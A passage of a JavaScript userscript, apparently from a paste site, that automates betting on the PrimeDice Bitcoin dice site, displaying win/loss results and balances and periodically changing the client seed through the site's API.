  822.                 results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  823.                 results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  824.                 results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  825.                 resultstats = [];
  826.                 resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  827.                 resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  828.                 resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  829.                 resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  830.  
  831.                 if (data.bet.win == true) {
  832.                     if ($('#stoponwin-enabled').is(":checked") == true){
  833.                         clearInterval(interval);
  834.  
  835.                     }
  836.                     $('#console, #console2').empty();
  837.  
  838.                     win();
  839.  
  840.                     // Results
  841.                     $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  842.                     for (var i = 0; i < results.length; i++) {
  843.                         $(results[i]).appendTo('#console');
  844.                     }
  845.                     for (var i = 0; i < resultstats.length; i++) {
  846.                         $(resultstats[i]).appendTo('#console2');
  847.                     }
  848.  
  849.                 } else {
  850.  
  851.                     $('#console, #console2').empty();
  852.                     loss();
  853.  
  854.                     // Results
  855.                     $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  856.                     for (var i = 0; i < results.length; i++) {
  857.  
  858.                         $(results[i]).appendTo('#console');
  859.                     }
  860.                     for (var i = 0; i < resultstats.length; i++) {
  861.                         $(resultstats[i]).appendTo('#console2');
  862.                     }
  863.                 };
  864.             },
  865.             error: function(jqXHR, textStatus, errorThrown) {
  866.  
  867.             }
  868.         });
  869.     }
  870.  
  871.     seedlength = 13;
  872.     seedlength = 13;
  873.     var counter = 0;
  874.     charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  875.     everyxrolls = 3;
  876.  
  877.     function seedgen() {
  878.         'use strict';
  879.         var seed = "";
  880.  
  881.         for (var i = 0; i <= seedlength; i++)
  882.  
  883.             seed += charset.charAt(Math.floor(Math.random() * charset.length));
  884.  
  885.         return seed;
  886.     }
  887.  
  888.     function seedchange(s) {
  889.  
  890.         url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  891.         sData = {
  892.             seed: s
  893.         };
  894.  
  895.         $.ajax({
  896.             url: url,
  897.             type: "POST",
  898.             data: sData,
  899.             datatype: "jsonp",
  900.             success: function(data, textStatus, jqXHR) {
  901.                 data2 = data;
  902.                 $('#currentseed').val(data2.seeds.client);
  903.  
  904.             },
  905.             error: function(jqXHR, textStatus, errorThrown) {
  906.  
  907.             }
  908.         });
  909.     }
  910.  
  911.     $('#spinner').click(function() {
  912.         if (charset != $('#charset').val() && $('#charset').val() != "") {
  913.             charset=$('#charset').val();
  914.         }
  915.         if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  916.             everyxrolls = $('#everyxrolls').val();
  917.         }
  918.         if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  919.  
  920.         counter++;
  921.         if (counter >= everyxrolls) {
  922.             seedchange(seedgen());
  923.             counter = 0;
  924.         }
  925.     });
  926.     ui();
  927. }
  928. setTimeout(function() {
  929.     init()
  930. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement